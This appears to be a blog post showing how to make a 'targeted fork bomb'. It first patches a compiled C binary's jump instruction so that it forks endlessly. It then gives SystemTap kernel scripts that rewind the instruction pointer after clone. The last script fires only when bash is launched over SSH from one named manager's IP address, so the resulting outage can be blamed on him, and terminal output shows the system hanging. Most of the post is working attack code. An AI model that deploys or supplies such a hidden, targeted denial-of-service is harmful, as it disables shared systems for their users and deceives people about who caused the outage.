Make a targeted fork bomb

Forgive me not to repeat the fork bomb implemented by bash.

Let's see how simple it is to make an ordinary program that calls fork internally into a fork bomb. Look at the code first:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    
    
  if (fork() == 0) {
    
    
    printf("I am child\n");
    exit(0);
  }
  printf("I am parent\n");
  return 0;
}

Compile:

[root@localhost test]# gcc -O0 fbomb.c -o fbomb

Export and view the instructions called by fork:

[root@localhost test]# objdump -D ./fbomb >./fbomb.dump
[root@localhost test]# cat ./fbomb.dump |grep -B5 -A5 call.*fork
  4005ad:	55                   	push   %rbp
  4005ae:	48 89 e5             	mov    %rsp,%rbp
  4005b1:	48 83 ec 10          	sub    $0x10,%rsp
  4005b5:	89 7d fc             	mov    %edi,-0x4(%rbp)
  4005b8:	48 89 75 f0          	mov    %rsi,-0x10(%rbp)
  4005bc:	e8 df fe ff ff       	callq  4004a0 <fork@plt>
  4005c1:	85 c0                	test   %eax,%eax
  4005c3:	75 14                	jne    4005d9 <main+0x2c>
  4005c5:	bf 80 06 40 00       	mov    $0x400680,%edi
  4005ca:	e8 a1 fe ff ff       	callq  400470 <puts@plt>
  4005cf:	bf 00 00 00 00       	mov    $0x0,%edi

Note that the call pointed to by 4005bc is the idiomatic paradigm of fork call, that is, to determine whether it is 0 or non-zero, so our modification is very simple:

  • Change 4005c3 to JC(0x72) rel8(s8 offset): 0x72 0xf7 (ie -9)

In fact, few C libraries now directly call the fork system call, and clone is generally used.

Then the following is the reform:

# 用vim的xxd来修改二进制
[root@localhost test]# vim -b ./fbomb
...
./fbomb
:%!xxd

According to the results of objdump, find the address near 0005bc:

000005c0: ff85 c075(here) 14(and here)bf 8006 4000 e8a1 feff ffbf

Change it to:

000005c0: ff85 c072(here) f7(and here)bf 8006 4000 e8a1 feff ffbf

Save:

...
./fbomb [+]
:%!xxd -r

Confirm and see if the modification is successful:

[root@localhost test]# cat ./fbomb.dump2 |grep -B3 -A3 call.*fork
  4005b1:	48 83 ec 10          	sub    $0x10,%rsp
  4005b5:	89 7d fc             	mov    %edi,-0x4(%rbp)
  4005b8:	48 89 75 f0          	mov    %rsi,-0x10(%rbp)
  4005bc:	e8 df fe ff ff       	callq  4004a0 <fork@plt>
  4005c1:	85 c0                	test   %eax,%eax
  4005c3:	72 f7                	jb     4005bc <main+0xf>
  4005c5:	bf 80 06 40 00       	mov    $0x400680,%edi

OK, the modification is successful, the program has become a fork bomb. I won’t demonstrate it here, this thing cannot be demonstrated.

Let us continue.

Can you do it with bash? of course can!

[root@localhost test]# objdump -D /bin/bash >./bash.dump
[root@localhost test]# cat ./bash.dump |grep -A5 -B5 call.*fork
  4415ea:	44 89 f7             	mov    %r14d,%edi
  4415ed:	e8 5e a4 fd ff       	callq  41ba50 <sleep@plt>
  4415f2:	85 c0                	test   %eax,%eax
  4415f4:	0f 85 06 01 00 00    	jne    441700 <make_child@@Base+0x1f0>
  4415fa:	45 01 f6             	add    %r14d,%r14d
  4415fd:	e8 7e a4 fd ff       	callq  41ba80 <fork@plt>
  441602:	85 c0                	test   %eax,%eax
  441604:	89 c3                	mov    %eax,%ebx
  441606:	78 b8                	js     4415c0 <make_child@@Base+0xb0>
  441608:	0f 85 2b 01 00 00    	jne    441739 <make_child@@Base+0x229>
  44160e:	66 90                	xchg   %ax,%ax

Almost the same routine. But we can't directly change bash, so we can only use systemtap to tinker with some strategies in the kernel.

Bash does not directly call fork/clone, but through the C library, so let's see how the C library does it:

[root@localhost test]# objdump -D /lib64/libc.so.6 >./libc.dump
...

The following are the steps to initiate a clone call:

284431 00000000000fde40 <__clone>:
 284432    fde40:   48 c7 c0 ea ff ff ff    mov    $0xffffffffffffffea,%rax
 284433    fde47:   48 85 ff                test   %rdi,%rdi
 284434    fde4a:   74 69                   je     fdeb5 <__clone+0x75>
 284435    fde4c:   48 85 f6                test   %rsi,%rsi
 284436    fde4f:   74 64                   je     fdeb5 <__clone+0x75>
 284437    fde51:   48 83 ee 10             sub    $0x10,%rsi
 284438    fde55:   48 89 4e 08             mov    %rcx,0x8(%rsi)
 284439    fde59:   48 89 3e                mov    %rdi,(%rsi)
 284440    fde5c:   48 89 d7                mov    %rdx,%rdi
 284441    fde5f:   4c 89 c2                mov    %r8,%rdx
 284442    fde62:   4d 89 c8                mov    %r9,%r8
 284443    fde65:   4c 8b 54 24 08          mov    0x8(%rsp),%r10
 284444    fde6a:   b8 38 00 00 00          mov    $0x38,%eax
 284445    fde6f:   0f 05                   syscall

We already know what to do:

  • Before the clone system call returns, it is enough to modify the rip of the parent and child process to the clone system call itself, that is, the rip address goes back 12 bytes or 28 bytes to reach the starting position of the clone call preparation parameters.

OK, here is the stap script:

#!/usr/local/bin/stap -g

function do_it(p:long)
%{
    
    
	struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;
	struct pt_regs *regs;

	if (strcmp(tsk->comm, "fbomb"))
		return;

	regs = task_pt_regs(tsk);
	regs->ip -= 12;
%}

// hook 资进程
probe kernel.function("copy_thread").return
{
    
    
	do_it(@entry($p))
}

// hook 当前父进程
probe kernel.function("sys_clone").return
{
    
    
	if ($return > 0)
		do_it(task_current())
}

OK, the basic framework is complete. You can try my original fbomb binary program.

Now, let's add some strategies:

  • Only the bash ssh from the manager's machine 192.168.56.101 will bomb when the bash program is executed. So you can blame the manager!

Remember the association mechanism between TCP connections and processes I wrote earlier?
https://blog.csdn.net/dog250/article/details/108134813
Based on it, we can judge whether the manager is executing bash.

Here is the code:

#!/usr/local/bin/stap -g

%{
    
    
#include <net/tcp.h>
#include <linux/fdtable.h>

static inline void ip2str(char *to, unsigned int from)
{
    
    
	int size = snprintf(to, 16, "%pI4", &from);
	to[size] = '\0';
}
%}

function do_it(p:long)
%{
    
    
	struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;
	struct task_struct *parent;
	struct file *file;
	struct socket *sock;
	struct sock *sk;
	char raddr[16];
	struct pt_regs *regs;

	if (strcmp(tsk->comm, "bash"))
		return;

	parent = tsk->parent;
	if (strcmp(parent->comm, "sshd"))
		return;

	file = parent->files->fdt->fd[3];// 一般都是3,为了节省代码篇幅,硬编码了!
	sock = (struct socket *)file->private_data;
	sk = sock->sk;

	ip2str(raddr, inet_sk(sk)->inet_daddr);

	if (strcmp(raddr, "192.168.56.101"))
		return;

	regs = task_pt_regs(tsk);
	regs->ip -= 12;
%}

probe kernel.function("copy_thread").return
{
    
    
	do_it(@entry($p))
}

probe kernel.function("sys_clone").return
{
    
    
	if ($return > 0)
		do_it(task_current())
}

Here is the effect of bash on the manager machine:

[root@localhost ~]# ls
# 回车已经没有了反应...
# 其它终端也没了反应,大家纷纷在说就是因为经理登录才这样子的...
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable

Well, yes, it is the manager.

Some people say that I can do this because I have root. I said that most people can't do it if they are rooted. If you don't believe me, try it.

It was a joke.


The leather shoes in Wenzhou, Zhejiang are wet, so they won’t get fat in the rain.

Guess you like

Origin blog.csdn.net/dog250/article/details/108500135